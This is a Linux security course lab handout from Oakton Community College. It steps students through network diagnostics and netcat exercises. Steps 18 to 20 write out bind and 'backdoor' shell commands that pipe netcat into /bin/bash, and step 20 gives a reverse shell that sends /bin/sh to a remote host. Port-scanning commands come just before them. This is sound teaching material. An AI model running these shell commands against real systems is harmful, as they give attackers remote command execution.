Oakton Community College
CIS 290 – LINUX Security
Lab Exercise #4: Simple network review and hacking
1. Install under LINUX – netcat, nmap, Wireshark, firewall and configuration tools.
2. Display all interfaces: ifconfig –a, ifconfig down eth0, ifconfig up eth0
3. Display interface physical attributes: ethtool eth0
4. ping gateway
5. traceroute csc.oakton.edu
6. netstat –rn
7. arp –a
8. telnet csc.oakton.edu
9. netstat –an
10. Review /etc/sysconfig/network-scripts
11. route print, netstat -rn
Stupid network tricks using TELNET, netcat, nmap:
12. Simple client/server
nc -l 1111
nc 127.0.0.1 1111
This is a test
This is a test.
Ending communication with ^C (Ctrl-C)
(Ctrl-C)
13. Simple file transfer
nc -l 1234 > test.out
echo Hi There!!!!! | nc 127.0.0.1 1234
14. Client to web server
echo -e "GET HTTP/1.0\n\n\n\n" | nc -w 5 oakton.edu 80
15. Or getting a server header:
echo -e "HEAD / HTTP/1.0\n\n" | nc 10.0.2.100 80
16. Web Host
web.txt
Welcome to Bob's Webpage
Welcome to Bob's Webpage!!!!!!!!
cat web.txt | nc –l –v 80
Point browser to your system – .
CIS 290 – LINUX Security
Lab Exercise #4: Simple network review and hacking
17. Port scanning:
nmap –sT –p 1-65535
nc -z 127.0.0.1 1-1024
echo "quit" | nc -z 127.0.0.1 1-1024
echo EXIT | nc –z -w 1 127.0.0.1 1-1024
18. TELNET client/server
nc -t -l 2323 | /bin/bash
nc 127.0.0.1 2323
echo "Hi there"
logout
19. “Backdoor” shell (-e option not in LINUX, note step 18 as bypass)
nc –e /bin/bash -l 2023
nc –v 127.0.0.1 2023
or
telnet 127.0.0.1 2023
-e option not in LINUX
nc -l 2023 | /bin/bash provide access to bash builtin commands (no external executables.)
20. “Reverse” shell (-e option not in LINUX)
Local machine: nc -n -v -l -p 1234
Remote machine: nc -e /bin/sh 10.0.2.100 1234
21. Telnet to discovered ports:
telnet
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